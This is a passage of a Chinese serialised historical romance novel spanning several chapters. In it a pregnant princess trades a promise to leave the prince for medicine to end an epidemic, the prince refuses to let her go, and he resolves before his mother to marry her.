她简直不敢相信自己的眼睛,于是疾步上前过去伸手拨开花丛间仔细一查看,大声惊呼道:“果然是秋千。” 一手拽着梦幻般的秋千,她回头望着眼前的一切,心里忽然纳闷:“怎么以前在王府里从来没有听人说起过这个地方?” 一边说着,情不自禁地便像个孩子一样坐到秋千上,轻轻摇晃了起来。 殊不知,打从她的脚步一迈出云水阁的大门,轩辕翰便远远地一路跟在其身后,看着她的一举一动。 此刻,看着她天真无邪的像个孩子一样无忧无虑的脸,一袭白裙飘飘坐在秋千上,置身于蓝天白云下,碧水花田之上,似是极其享受这份来之不易的安宁。嘴角不禁微微上扬,露出一抹许久未见的浅笑来。 轩辕翰低声呢喃地道:“花都开好了,你也终于回到本王身边了。” 也是偶尔的一次,从乐太医那里得知了芍药的别名曰”将离”,自古被誉为爱情之花。 打从衣上云在城南失踪,自己回来后也大病了一场,醒来后,他便发疯一样派人四处寻找各种芍药花的种子,并且亲手在这里种下了这一片巨大的芍药花田。 他相信,终有一日,待到这片芍药花开花的时候,她一定会回来。 如今,果然,她如期回来了。 往事一幕幕,顿时涌上了心头。 过了一会儿,就连一直默不作声,只顾紧紧跟在其身边的程良,亦是看着眼前此刻衣上云白裙飘飘宛若天仙般的模样惊呆了。 语气里透着一丝淡淡的埋怨,说道:“这还真是心有灵犀!殿下特意将此地隐藏得如此之深,之前陆小姐在府里住的时候跟踪殿下多次,亦是没能找到,如今竟然被她如此轻易地便就找到了,这也总算是不枉费殿下您所花费的一翻苦心了。” 轩辕翰听了却并未说话,只是脸上一直微微笑着,眼里尽是温柔,贪婪地看着眼前的这个背影…… 第五百一十七章:该是见面的时候了! 与此同时,在从花园里回去的路上远远地瞧见轩辕翰的身影匆匆闪过,呼唤其却似完全听而不闻般,只自顾自地朝后山方向而去的纯太妃与张嬷嬷,亦深感好奇地紧随其后,跟着轩辕翰的脚步来到了此地。 看到一向警惕性极高的儿子,竟然一路上对自己的跟踪毫无防备,直到此刻看到了眼前这一切,纯太妃本人亦是为此惊呆了。 她惊叹不已地看着眼前如诗如画,宛若仙境一般,又似天女下凡一样的风景,令人如痴如醉,问身边的张嬷嬷:“本宫回府也已有段时日了,怎么从来都不知,王府后山的这片已经被荒废了多年的小岛,何时竟变成了如今这幅美不胜收之景色?” 同样被眼前的美景深深吸引住的张嬷嬷,闻声忽地回过神来,急急在脑海里搜索了一遍又一遍,却是最后显然毫无所获地只能无奈地答了句:“这个……老奴还真是从未听府里有人提及过此处何时变成了如今这副模样,不过现在看起来还真是着实好看的很。” 不知过了多久,纯太妃终于缓缓收回视线将目光移到了轩辕翰的脸上,远远地看着他往日里总是一副冷峻模样的侧脸上,竟然荡漾着从小到大甚是难得,几乎从未露出过如此的淡淡笑容,以及那眼里所散发出来的极尽温柔的光。 这才想起来,打从自己回府以后,好像只有在关于衣上云的事上,他的脸上才会偶尔浮现起这样的笑容和光芒。 最后,她重重地叹了一声道:“本宫实在没有想到,终有一天,本宫的皇儿也会有软肋。为了这个永宁公主,他也算是真的煞费苦心了!” 听了主子的话,想起以前无数次在王府里与衣上云相处的过往,张嬷嬷重重地叹了口气。 对于那个曾经自己亲眼所见,大家所认识的善良又可怜的姑娘,如今却只能甚觉可惜地说:“原本那样好端端的一个姑娘,老天为什么偏偏就不能给她一个一世安稳的好命呢?打小便没了亲娘,又因容貌受尽了世人冷眼。好不容易找到了亲生父亲,刚相认便又失去。哪怕即便她只单纯的是衣府这样的小门小户里所出的女子,也是比现如今这个步步谨小慎微,如履薄冰,所谓的公主要强百倍千倍呀!走到今天,且还未婚先孕……她这一辈子,接下来可怎么活?” 一听到“未婚先孕”四个字,纯太妃忽地回过神来,仔仔细细的再次回忆了一番在城南桃花店村时与其朝夕相处的那段日子。 始终确定虽然不知为何会与世人的看法截然不同,可自己眼里的衣上云表面看起来柔弱温顺,骨子里却并不是那种任人摆布且没有分寸的女子。 眼下,她就差再次仔细确认其身上的守护者专属凤凰印记。若是一旦被确认,身为守护者后人,更是有一股强大的神秘力量傍身,世间绝对无人能轻易动得了她。 所以,关于她的身孕,其中必有什么不可告人的隐情。 回想在东宁国轩辕翰行动暴露身陷牢狱之中,最后却竟能毫发无损,如此轻而易举地便平安回到了西秦。 又闻这个永宁公主被老国君属意将会与南安国联姻,两国以示结盟之好。 而打从东宁老国君薨了之后,此事却再也没了音信,怕是这段联姻,正是因为衣上云腹中的孩子而被搁浅了。 一切的一切,似是更加坚定了自己心里所想,纯太妃一边暗自思索着,一边将目光从轩辕翰的身上复又移回眺望向此刻正在那一片芍药花海中,宛若传说中的花神一般翩翩而舞的衣上云。 霎时间,她嘴角微微一勾,露出一抹笑容,说道:“其实仔细算算日子,本宫倒是觉得,她腹中的胎儿,指不定便是……” 话并未说完,顿了顿,目光扫了一眼眼前这片偌大的王府境地,只道:“这偌大的秦王府,多年以来着实已经太过寂静,太久没有喜事了。或许……咱们王府……很快便是双喜临门了……” 闻此,身旁的张嬷嬷惊的双腿忽一发软,脚下顺势一个踉跄差点儿摔倒在地,纯太妃一把及时将她拉住。 张嬷嬷立定后怔怔地看着主子的眼睛,难以置信地惊声道:“娘娘您的意思是……永宁公主腹中的孩子……是……是咱们殿下的?!” 看着纯太妃明显似是已确定了十之八九的脸,张嬷嬷稍一回想,迫不及待地说:“可这永宁公主实则乃是我西秦守护者后人,她是皇上一直在不惜一切代价所找的人。她若是成了秦王妃,身份一旦被暴露,秦王府岂不是要大难临头,遭遇灭顶之灾。” 一直以来,纯太妃的心里又岂会不知此事的严重性。 可直到此刻,面对眼前这两个一路走来经历了种种生离死别,明明如此相爱,难舍难分的人,她又怎再忍心去阻止呢? 于是,她渐渐淡去了脸上的笑容,说:“算了,云云众生,终究是各人有各人的缘法。” 轻叹了口气,道:“是福不是祸,是祸躲不过。一切就都随他们去吧!对对错错,有的时候,或许并没有那么重要?只要她也是真心对待皇儿,本宫愿意付出一切代价,承担日后的所有罪责。” 张嬷嬷望向衣上云的背影,犹豫地道:“可太妃娘娘,您确定她是真心对殿下的吗?” 纯太妃想了想,道:“是不是?一问便知。” 张嬷嬷惊讶地看向主子的脸,道:“娘娘,您是想……” 纯太妃深吸了口气,道:“该是见面的时候了。” 一直到夕阳西下,看着轩辕翰离开后,张嬷嬷方才扶着纯太妃上了轩辕翰离去所留下的一条小船上,亦抵达到了小岛上的那片芍药花海。 小岛上暖风拂面,花香阵阵,秋千上的衣上云此时正痴痴地望着湖面尽头的一轮落日余晖发呆,不知道在想些什么? 张嬷嬷见衣上云已然对到了其身边的主人完全没有察觉,正欲上前开口说话。 纯太妃急忙伸出一只手来将其制止,又摇了摇头,兀自一个人继续上前走到了衣上云的身旁停了下来。 顺着衣上云正目光所及的方向,与其一道看着同一片景色许久,不想她竟然对自己的存在浑然不觉,便在心里暗暗地纳闷:“她到底在想些什么?竟如此专注?” 不得已,她只能假装清清嗓子,将她的无边思绪打断,感慨地说道:“夕阳无限好,只是近黄昏。” 至此,衣上云终于缓缓回过了神来,侧过头去看着身旁立着的纯太妃的侧脸,只觉其声音有些熟悉,疑惑地问:“您是……” 纯太妃依然定定地看着自己的前方,道:“久闻东宁国永宁公主钟灵毓秀,聪慧过人,并有着倾国倾城之容颜。今日一见,果然不同凡响。” 话刚说完,顺势便看向了衣上云的脸。 一对上纯太妃的眼睛,刹那间,衣上云只觉自己心中忽地一顿,似是连心跳都快要停止一般,再也说不出话来。 纯太妃于嘴角勾出一抹浅笑,又道:“怎么?许久未见,难道公主不记得老身了吗?” 衣上云此刻显然不敢相信自己的眼睛,忽地立起身来,看了看周围,除了熟悉的张嬷嬷以外并无他人,于是不解极了地问:“老夫人?你……你怎么会在这里?” 未及纯太妃说话,张嬷嬷抢先说道:“什么老夫人?此乃秦王府的女主人太妃娘娘。还不快拜见!” 闻此,衣上云顿时朝其一愣:“原来一直在城南桃花店村里隐姓埋名的太妃娘娘,早已经回到了秦王府。” 已然来不及多做思考,既而赶忙后退了两步,提起裙摆来朝其极为恭敬地俯身跪拜道:“参见太妃娘娘千岁,千岁,千千岁!” 纯太妃上前俯身将其扶起,关切地道:“好孩子,你还好吗?你还有身子,快起来吧!” “太妃娘娘您都已经知道了?”衣上云紧张地抬起头来看着纯太妃的眼睛,问。 纯太妃将其小心翼翼地扶起身来,问道:“本宫即便知晓了一切,却独独不明白,你与秦王之间明明两情相悦,为什么你却要狠心抛弃他?难道你一点也不顾及你腹中的孩儿吗?毕竟这个孩子,秦王也有份儿的,不是吗?” 听了纯太妃的话,衣上云很快便知道她是在试她,关于这个孩子的来历,除了自己和易三少,并无其他旁人知晓事实真相。 一念至此,她故作镇定地答道:“不知太妃娘娘是不是有什么误会,关于这个孩子,他和秦王殿下着实是一点儿关系都没有。秦王殿下何许人也,岂是我能觊觎高攀的?” 纯太妃分析了许久,可以说是非常确定衣上云腹中的孩子一定是轩辕翰的,可当此时她从衣上云的口中亲耳听到了如今这个结果,终还是迟疑了起来…… 第五百一十八章:你没有心 只见纯太妃脸上瞬间似是都凝固住了的笑容,许久后方才渐渐淡去,遂在心里纳闷地道:“难道真的是本宫错了?” 可却还是不愿放弃地想要再次朝其确认,继而将目光下移落在其腹部,复又问:“这孩子……真的和秦王没关系么?你……此话当真?” 衣上云假装极为肯定地对其认真说:“太妃娘娘,这种事关女子名节的事,我岂能随便瞎说。” 说着,她垂眼下去附手轻抚了抚自己的腹部,道:“不瞒太妃娘娘,这个孩子,乃是南安太子的。想必太妃娘娘亦已经得知父皇生前曾有意与南安国结盟一事……” 未及衣上云将话说完,纯太妃迫不及待地说:“可本宫听闻此事不是早已经被搁浅了么?” 衣上云解释道:“那只是某些人的谣言罢了,一切只因东宁国突然发生的这场重大疫情而被延误了而已。” 纯太妃惊讶地与张嬷嬷面面相觑了一瞬,稍时再次对上衣上云的眼睛,一时之间,实难判断其所言究竟是真是假? 遂将面色渐渐沉下,无比认真地问:“本宫再问你一次,秦王府秦王妃的位置,你是真的不愿做吗?” “我想,我当然想。怎么会不想,可我不能。”面对纯太妃的问话,衣上云在心里苦苦挣扎着。 可嘴上最后却云淡风轻地说:“太妃娘娘真是说笑了!” 最后定了定神,只见纯太妃深吸了口气挺直腰身后,仰起头来说:“那就说说你的目的吧?” “我的目的?”衣上云看着纯太妃明显变了一副态度的脸色,不解地问。 纯太妃道:“放着好端端尊贵无比的东宁国公主不做,为何要再回到西秦国来?若是只为探望你的养父母,又何必来到秦王府门前?” 衣上云恍然大悟,顿回过神来如实说道:“众所周知,我东宁国里发生了严重的疫情,需要来西秦大量订购一味药材,方能解救我国千千万万的黎民百姓。” 闻此,纯太妃中顿时一愣,暗暗地钦佩:“这个丫头果然善良勇敢。竟不顾自己如今尊贵的身份地位。只身一人历经千辛万苦寻找救国救民之法。东宁国能得此人守护,又何愁江山不稳!” 回过神后,纯太妃接着说:“你所要订的药材是什么?” “是只有西秦国才盛产的麻黄。”衣上云急切地答。 纯太妃想了想,道:“麻黄本宫可以给你,但是有一个条件。” “条件?是什么?”衣上云着急地问。 纯太妃道:“虽然你于本宫口口声声说你并不喜欢秦王,但本宫想你心里应该比谁都清楚,在秦王的心里,你比什么都重要。” 闻此,衣上云只觉惭愧地缓缓低下了头。 纯太妃接着说:“既然你的心并不在秦王身上,那就不要再给他任何幻想与希望。你想要的,本宫都可以给你,但从此以后,本宫绝不允许你再做任何伤害他的事情。” 衣上云顿悟:“我明白了,只要太妃娘娘愿意伸出援手救我东宁百姓。从此之后,我定永远都不会再见殿下。” 纯太妃笑了笑,道:“永宁公主果然是个聪明的孩子,一点就通。三日后,你所要的麻黄,本宫将会命人快马加鞭如数护送至龙虎城。” 闻此,衣上云扑通一声跪了下来在其面前,附身朝其跪拜答谢道:“谢太妃娘娘。” 至此,纯太妃最后认真地看了一眼趴在地上的衣上云,心里对其着实有万般的不舍,无奈,疑惑……各种滋味五味杂陈。 转身后,张嬷嬷疑惑地问纯太妃:“太妃娘娘,你说那个丫头她说的话可信吗?” 纯太妃道:“纵使她的话真的不可信,可她却是死了心不打算进我秦王府的门。她的心意如此坚决,本宫又能拿她怎么办呢?” “那她腹中的孩子,到底是不是咱们殿下的?”张嬷嬷问。 纯太妃想了想,没有直接回答她的疑问,只吩咐说:“派些机灵的去护送药草,到时候将此事务必给本宫仔细地打探打探。无论她去了哪里,都要找人给本宫将她护好了。” “是”张嬷嬷答道。 月色溶溶,湖水悠悠。 水月相映,清晰的流水声使周围显得更加幽静,眼前的一切都是那样的清辉怡人。 衣上云独自驻足停留在湖边,失神地看着层层波浪轻吻着岩石,湖面上映射着微微的月光。 任由夜风夹杂着阵阵沁人心脾的芍药花香,轻轻地撩拨着她柔软的发丝。 这样的感觉,却让她早已分不清这到底是自己的发丝,还是自己此刻的心情。 “既然你的心并不在秦王身上,那就不要再给他任何幻想与希望。你想要的,本宫都可以给你,但从此以后,本宫绝不允许你再做任何伤害他的事情。” …… 只有纯太妃方才离开前所说的那些话,字字句句至今都还清晰地在她耳边萦绕着。 是啊……衣府嫡女?西秦守护者?永宁公主?……她到底是谁?又该何去何从? 如今,她当初决定回西秦的最初目的已然如此轻而易举便已达到。万千城民终得已解救,她本该高兴,可此刻,她却怎么都高兴不起来! 这一切,除了自己始终都无法坦然面对他们两个本就注定了是永远敌对的关系,与其短暂的相守,不如根本就不要开始以外,又还能怪谁呢? …… 一边出神地思索着回到云水阁,将屋内的一切悉心整理好,恢复如初。 衣上云从后院小门出来,缓缓走下石阶,最后恋恋不舍地回头看了一眼被烛火照的一片通明透亮的秦王府。 万千感慨,终化为最后于口中发出一低声道:“殿下,珍重! 回头正要继续往前走离去,忽闻背后响起一阵熟悉的不能再熟悉的沉声:“你知不知道每次都这样不告而别,是多么无礼么?” 闻此,衣上云顿停下脚步,心里只觉咯噔惊了一下,霎时间却似是连呼吸都快要停下来。 她当然知道身后之人,正是自己朝思暮想了不知多少遍,心心念念想要再看他一眼,哪怕只是远远的一眼之人。 可怕就怕,正是这贪婪的一眼,便足以会摧毁她一切所有的决定,让她乖乖就范,再也不舍得离开。 思索再三,她狠狠咬了咬嘴唇,终于还是忍住没有回过头去。 忽然之间,她竟然假装自己没有听见任何声音,就这样从他的眼前明目张胆地复又迈开步伐,加快速度溜走。 “衣上云,你敢?还不给本王站住!” 果然,紧接着又是一阵急切的阻拦声,然衣上云依旧假装听而不闻地继续着脚下明显愈来愈快的步伐。 站在与其正处于同一条街的另一边,轩辕翰简直不敢相信自己此刻的眼睛,可面对那个瘦弱而又倔强的背影,他又是那样的无助。 他不知究竟发生了什么,眼前的这个女人,这次竟敢比过去之前的每一次更加过份,居然一声招呼都不打,就这样不告而别。 若不是因为自己与大臣们的茶聚因为莫名的心慌意乱而提前结束及时回府,怕是这次都来不及见她最后一面。 “衣上云,你究竟把本王的秦王府当什么?供你每次受伤后栖息疗伤的地方吗?” 轩辕翰紧随其后,一边走一边说:“这些年,你又把本王,及本王对你所付出的感情当什么?本王在你的心里,就是那样的可有可无,像是一个任你呼之则来,挥之则去的提线玩偶吗?” 见衣上云始终依然没有一丝止步的意思,于是他继续挪步着说:“你可知曾经多少次,本王的内心苦苦挣扎了那么久,最后差点儿就要将你彻底放弃,好成全你做南安太子妃的心意。” 往事一幕幕,不由心里顿了一下,继续道:“可当得知你纵使已身怀有孕,竟从疫区失踪了的那一刻,本王心急如焚。那时,本王便已知道这一生输定了。本王彻彻底底地输给了你,倘若这个世界没有了你,本王将再也生无可恋。” 轩辕翰心里着实着急,也愤怒极了,他不知道自己究竟如何才能将她留住,甚至连自己都不敢相信自己竟能说出这番话来。 而衣上云,也终于渐渐地将脚步停了下来,最后缓缓闭上了眼睛。 任凭世间任何一个女子,谁能抵得过这段发自肺腑的绵绵情话。 此刻她的心里不知有多想急转回身,朝着这个男人疾奔扑上去,将他紧紧拥住,此生再也不放开。 可偏偏该死的理智将她紧紧拽住不放,直到最后,她还是紧紧地握住了双拳来,睁开眼睛抱歉地说:“对不起,这一生,终究是云儿负了殿下!” 轩辕翰一听,当即冷声道:“衣上云,你没有心!” 怔怔立在其身后,道:“曾几何时,本王同世人一样,想知道什么药可医相思之苦?有人说九叶重楼二两,冬至蝉蛹一钱,煎入隔年雪,可医人间相思疾苦。可重楼七叶一枝花,冬至何来蝉蛹,雪又怎能隔年,相思又怎可解?” 衣上云叹了口气,答道:“夏枯既为九重楼,掘地三尺寒蝉现,除夕子时雪,落地已隔年,相思亦可解。” 闻之,轩辕翰惊诧极了,原本自认为明明一道无解的题,如今却被她如此对答如流,一时间,他似是都不知该继续说些什么:“你是非要曲解本王的意思吗?” 第五百一十九章:不介意再辛苦一次 闻之,轩辕翰惊诧极了,原本自认为明明一道无解的题,如今却被她如此对答如流,一时间,他似是都不知该继续说些什么:“你是非要曲解本王的意思吗?” 衣上云笑了笑,缓缓垂首下去对着自己的腹部,说道:“云儿知道殿下的心意,可殿下乃人中龙凤,自有世间更好的女子来相配。云儿……原本就高攀不起,如今更是……还请殿下,就此放过云儿吧……” 闻此,轩辕翰忽地眼神一定,不敢相信地说:“你说什么?放过?难道本王对你的爱,如今对你来说竟如洪水猛兽般让你惧怕到要求本王放过了么?” 想起两人过去点点滴滴温存的瞬间,轩辕翰满腹质疑地问:“曾经你口口声声予本王的承诺,莫非是全都忘了?” 不知何时,衣上云的双眼早已噙满了泪水,过去无数温暖的瞬间始终仿佛就像发生在昨天一样。她又怎么可能会忘记? 然长痛不如短痛,她深知自己无法承受日后的结果。 若是俩国真的到了那时,她到底是应该履行自己西秦守护者的使命来守护西秦,还是应该保护东宁的子民。 于是将心一横,偷偷抹了把眼泪,终于转过了身去,说道:“不瞒殿下,很快,我便要随三少一同前往南安国了。此次回国,只是乘着得空回来看看西秦的父母,也是向他们报个平安。” 说着,顺势将一手附在自己的腹部轻轻拍了拍:“瞧,就算我能等,他也已经等不了了……” 然正是因为她的这个举动,成功吸引了轩辕翰的注意力,他一边口中喃喃重复着:“孩子?”心里忽然似是有了什么主意。 只见轩辕翰微微眯起眼睛来,忽然渐渐挪步开始上前逼近自己,衣上云惊地顿时手足无措,不禁后退了起来:“殿下你要做什么?” 轩辕翰道:“本王向来不喜欢用强的,可这次,本王不介意强一次,赌一把。” 衣上云紧紧盯着他的眼睛,不知他到底想做什么:“殿下在说什么,什么赌一次?” 轩辕翰直勾勾的看着她的眼睛,说:“幸亏你提醒了本王,既然你腹中的孩子究竟是谁的?目前还尚无定论。但本王有的是时间,等这孩子平安足月生出来之后,自会真相大白。到时候,若这孩子果然是本王的骨血,本王绝不轻饶你!” 衣上云听了这话,瞬间惊呆了。 回过神后,急忙依然固执地朝其解释:“秦王殿下你不能这么做,这孩子和你根本就没有……” 岂料话刚开口,这才发现自己已被轩辕翰死死地逼到了街角的一处墙角里,丝毫不能再动弹。 轩辕翰顺势将一只大而有力的手拍在了她脑袋后方的墙壁上,将她整个人都堵住,打断她的话。 “你这个向来惯爱骗人的小骗子,休想再骗本王!平日里,本王被你骗的还少吗?这次事关我轩辕皇族皇室血脉,如此重大之事,本王差点儿又一次被你给骗了。” “我……” 衣上云还想说些什么,不料却被轩辕翰强行一把横抱了起来:“这辈子!你休想再离开本王。” 衣上云在其怀抱里挣扎着道:“秦王殿下请自重!还不快将我放下来,你到底想做什么?” 轩辕翰步履沉稳,目光定定地看着前方,警告她:“你若是再不停止这无谓的挣扎安静下来,若是伤到了腹中本王的孩子,本王倒是不介意再辛苦一次,只是不知你是否可承受的起?” 闻此,衣上云顿时扭过头去羞红了脸,也果然停止了挣扎变老实了下来。 轩辕翰见了,心里暗暗窃喜:“一看便知心里一定有鬼!” 直到强行一路将衣上云再次抱回到云水阁阁楼里,方才小心翼翼地将她放了下来。 轩辕翰两手撑在衣上云所落座的软塌上,俯身下去紧紧盯视着她的眼睛,警告她道:“没有本王的命令,你这辈子都休想再离开本王的身边,离开秦王府。” 衣上云心里又急又气,争辩着道:“秦王殿下,你不能这样对我,你不能把我囚禁在这儿。我已外出多时,三皇兄和三少一定早已到处在找我。若是因此而引起三国之间有什么不必要的误会,那可就……” 轩辕翰始终目光如炬,热烈又霸道:“你在担心什么?是替本王担心,亦或者,是不是担心本王识破你们联合起来欺瞒本王的阴谋诡计?” 看着此时衣上云在自己的眼前,俨然就像是一只惊弓之鸟,轩辕翰心里竟顿生起一种莫名的喜悦:“不管是什么?让他们尽管来找本王,本王还怕他们不来!” “你……” 闻此,一时间里,衣上云着实心虚地都不知该说些什么了,只急急躲闪着自己无处安放的目光。 就在这时,轩辕翰竟忽然乘着衣上云不备,一手托住她的脑袋,顺势便俯身下去在她温软的唇瓣上落下了深深的一吻。 而衣上云竟也莫名其妙地欣然接受,变得安静了下来。 她并没有反抗,两只手将他宽阔的肩膀死死拽住,任他缓缓而温柔地将她的身子压倒了下去。 随之慢慢地,那双被惊的睁大了的眼眸对着那久违了的熟悉的轮廓,还有那身上散发出的淡淡的檀香味,一切都让她渐渐迷离了起来。 而就在衣上云以为轩辕翰撬开她的齿贝,想要继续深入下一步时,他竟忽然抽身而退,戛然而止。 “时间不早了,早点歇着。”话刚说完,轩辕翰便起身转头离开。 看着轩辕翰疾步离去渐渐消失的背影,衣上云喃喃低语道:“你是上天的恩赐,也是我此生命里的劫,怕只怕最后,山鸟与鱼不同路,终是庄周梦了蝶!” “都查清楚了吗?” 回到林月轩的时候,程良早已经在殿外侯着,轩辕翰一见,紧忙收回了路上一直沉浸在方才俩人柔情中的思绪,沉着脸色问。 程良紧随其后抬脚跨过门槛,面露难色着道:“启禀殿下,不出殿下所料,傍晚时分,太妃娘娘的确已经见过衣姑娘了。” 轩辕翰落座下来,一边自己伸手倒茶,一边问:“母妃都说了些什么?” 程良道:“原来衣姑娘这次回西秦来是因为麻黄一事。” “麻黄?”轩辕翰听了,顿停下手里的动作,面露疑惑地问。 程良点点头,继续说:“说是衣姑娘已经研制出了解除疫情所需的药方,只是缺少里面一味用量极大的麻黄。如今想来,她当时一回国便出现在王府门前,一定是还没有准备好面对殿下方才又离开。” 轩辕翰又问:“那母妃可答应了给她麻黄?” 程良道:“护送麻黄的队伍三日后便会从东郊出发直达龙虎城。只是……如果龙虎城的疫情真的被解除,势必定会对我国造成很大的压力。依殿下之见,我们是否要将这批麻黄拦截下来?” 轩辕翰吞下口中的茶汤,把玩着手中的茶盏,道:“如数送到东宁国的麻黄,一两都不能少。不仅如此,你再亲自去加派一些得力的人手。务必一定要将此事办妥,绝不能出任何差错。” “可殿下……”程良一脸忧色,不解地还想再说些什么。 轩辕翰放下手里的茶盏,开口将其打断:“如今我西秦,乃至南安国的边境上也都时有个别身染疫病的消息传出。看来这次疫情的确很是危急。眼下,既然已经有了良方,自是救人最要紧。不必多说,你按照本王的吩咐去做便可。” “是!”程良心中虽然闷气,却也深觉主子之言不无道理,遂领命。 第二天,天一亮。 轩辕翰将衣上云夜里亲自抱回云水阁的事情便传到了纯太妃的耳朵。 紫和殿里。 张嬷嬷正在悉心替纯太妃梳妆,说道:“不成想那丫头竟然真的如此守信,说到做到。可是这次,怕是殿下必定要误会了娘娘的一片苦心了。” 纯太妃看着菱花镜里自己日渐衰老的容颜,丝毫抵不过岁月的痕迹,道:“皇儿这一生,原本什么都可以精准地计划着,可却唯独没有计划到那丫头的出现……” 似是并未将话说完,忽瞥到了殿内屏风上的一幅宁静的云海落日图,上面所题写的诗是“落日归山海,山海藏深意,深意总迟解,将爱却晚秋。” 顿了顿,遂意味深长地说:“其实当一个人什么都经历了之后就会发现,人生无论怎么精心策划,都抵不过一场命运的安排!命里有时终须有,命里无时莫强求。人的一辈子,有人等烟雨,有人等知音,有人为名利,有人争天下。却总是在后来的日子里才发现,自己一路走来错过的到底是什么?” 想到过往的许多事,纯太妃回忆着继续道:“本宫曾听一位道长说过一段话。” “来者要惜,去者要放,人生就像一场出行,不是所有的人,都会去同一个地方。春有百花冬有雪,夏有凉风秋有月。若无闲事挂心头,方为人间好时节。” 想了想,又发出一阵自嘲般的痴笑声,道:“可话虽如此,世间又有几人能做到这般的豁达。如今皇儿心中的执念如此之深,怕只怕以后……” 俩人正说着,欢儿匆匆进来禀报…… 第五百二十章:那就让她名正言顺 纯太妃想了想,发出一阵自嘲般的痴笑声,道:“可话虽如此,世间又有几人能做到这般的豁达。如今皇儿心中的执念如此之深,怕只怕以后……” 俩人正说着,欢儿匆匆进来禀报道:“太妃娘娘,殿下来了!” 不出所料,轩辕翰果然一大早便就迫不及待地出现在了紫和轩里。 纯太妃遂与张嬷嬷相互对视了一眼。 欢儿兀自上前两步与张嬷嬷一道将纯太妃扶起身来,径自挪步到外面大厅里,纯太妃缓缓落座下,俩人分别立于其身后两侧等候侍奉。 这时,轩辕翰步履沉稳地走了进来,朝纯太妃近身过去在其面前立定后,躬身行礼肃声道:“儿臣给母妃请安!” 纯太妃镇定自若,面带着微微笑,问道:“皇儿今儿不用早朝么,怎么这么早过来紫和轩请安了?” 岂料轩辕翰竟一点儿也没有与其想要含蓄几句的打算,刚一直起身来便直接朝其质问:“儿臣敢问母妃,昨儿究竟对云儿说了些什么?致使她竟不告而别,想要连夜离开秦王府?” 心中虽然对眼前此刻所发生的这一幕早已有所准备,然当这话亲自从轩辕翰的嘴里说出来的时候,纯太妃心里依旧还是惊愣了一下。 稍顿,兀自发出一阵冷笑声来,开口缓缓说道:“这一大早的,不成想原来皇儿是气势汹汹地向本宫来兴师问罪来了!” 刚刚过去的一整夜,轩辕翰的确几经辗转反侧始终都难以入睡,至今都气恼着,于是便没有说话。 这时,一婢女两手捧着茶盘奉茶上来。 欢儿紧了两步上前过去将其接住,婢女缓步退了出去。 张嬷嬷揭开盖子,从欢儿手中的茶盘里先盛了一盅,将其递到纯太妃的面前。 转而又盛了一盅,走到轩辕翰的身旁对其使了使眼色,说道:“殿下请坐,也请一并尝尝老奴今儿个早起亲手煮的五仁乳茶吧。它能温肺润肠,补肝益肾,美容抗衰,延年益寿,味道很是不错呢。” 看着张嬷嬷不停朝自己使眼色,轩辕翰终归也只能是压住了心头的怒火,提起袍角坐了下来。 张嬷嬷这才开口道:“殿下有所不知,太妃娘娘与衣姑娘实则乃是旧识,昔日在城南桃花店村时,俩人就已经……” 岂料话刚开口,却被纯太妃的严肃声音打断道:“张嬷嬷……” 张嬷嬷遂看向主子,只见纯太妃缓缓放下手里的茶汤,拭了拭嘴角的残渍,稍整理了些许情绪后,微微昂起首来振振有词开了口。 “皇儿至今尚未娶妻,本宫便依旧还是这秦王府的女主人。身为这座府邸的主子,本宫与来访的客人打个招呼问候一声,难道这也要事先征得皇儿的意见吗?又或许,是那丫头从中挑拨离间对皇儿说了些什么?皇儿才会如此激动以至于一大早跑来这里胡言乱语?” 轩辕翰说道:“云儿生性纯良,如今她无家可归,不得已暂在王府里寄人篱下,人微言轻,受了委屈,她自是也什么都不会说!然母妃也应该了解,这偌大的王府里所发生的大大小小的事情,只要是儿臣想知道的,便都能知道。” 纯太妃听了这话后,无疑心里又是一个惊愕。 不想这个儿子为了一个女子,如今竟然都已经对自己用这样的口气说话,遂难以置信地道:“皇儿你当真为了那个丫头,不惜与母妃之间变成如今现在这个样子?” 轩辕翰想了想,毫不怀疑地说:“从小到大,在儿臣心里,一直认为母妃是儿臣这一生中最重要的女人,没有之一。” 就在纯太妃尚觉此话且还欣慰,心有所冀地翘首期盼着他接下来的话时,忽闻:“可直到有一天云儿的出现,就像一道光,照亮了儿臣内心阴暗的世界。从此,儿臣的心里不再只是冰冷,灰暗和孤独。” 看着轩辕翰一边说,眼中所露出的从未有过的温柔与幸福,纯太妃仿佛忽然看到了曾经年轻时的自己,也因为心中挚爱,觉得自己的整个世界都因此而变得美好,遂嘴里低低道:“可她的心,并不在你的身上。” 听到这句话,心里自是有些难过,可不知为何,他的心却忽然变得更加坚定起来:“这辈子,就算她的心不在儿臣的身上,可儿臣却知道,自己的心,只在她一人身上了!” 纯太妃听到儿子的决心,不由得双眼一怔,甚是震惊。 稍时,又提醒他现在的事实是:“可是……可是难道你不知道她如今已经怀了别人的孩子,你难道一点儿也不介意……” 轩辕翰垂首沉默了一会儿,继而复又抬起对上纯太妃的眼睛说:“母妃可曾还记得儿臣曾对母妃说过,就算这一生,儿臣与她注定了要纠缠在一起哪怕是相看两相厌,儿臣也要将她留在身边。因为只有这样,儿臣才能安心。如果放她走,怕是这整个天下都会……” 似是忽然觉察到自己说了不该说的话,遂将眉眼缓缓垂下,改口道:“关于那个孩子,事到如今,儿臣可并不认为那孩子与儿臣无关?” 纯太妃不解地道:“你……你这话是什么意思?” 轩辕翰看着衣上云的举动,越想越不对劲,遂坚定地道:“在孩子这件事上,儿臣自认为,没有人比儿臣更清楚他究竟是不是儿臣的……不管她承不承认,最后待到瓜熟蒂落,一切真相,自见分晓。” 纯太妃似乎已猜到了轩辕翰的心思,急道:“皇儿你难道想要……” 可话刚开口,却又想都不敢往下想去,只担忧极了地道:“可她腹中的孩子一日日越来越大,就这样不清不楚地住在王府里,终究于理不合。就算皇儿你无所畏惧,可她一个大姑娘,日后难免总要被人指指点点,说三道四的。况且,归根到底,她也算是贵族之身……” 轩辕翰收回视线,若有所思地缓缓道:“儿臣不会让她在儿臣身边不清不楚,受委屈的。自是不能让她在此于理不合地住着,那就让她名正言顺。” 纯太妃想了想,疑惑地道:“难道你想……” 忽地明白了过来,惊声说:“不……这不可能,她是敌国的公主,若是放在以前尚还有一丝希望。可如今灵空大陆三国之间各自都蠢蠢欲动,随时都有开战的可能,宫里那两位是段不会同意你迎一个敌国公主入门的。” “会有办法的!”轩辕翰若有所思,暗暗握紧了置于膝前的双拳,低声道。 看到轩辕翰为了衣上云的事竟如此为难,纯太妃着实心疼极了。 一室寂静。 母子俩俱都安静了下来,就这样静静地坐着,唯有香炉里不断地散发出丝丝缕缕淡淡的轻烟飘渺。 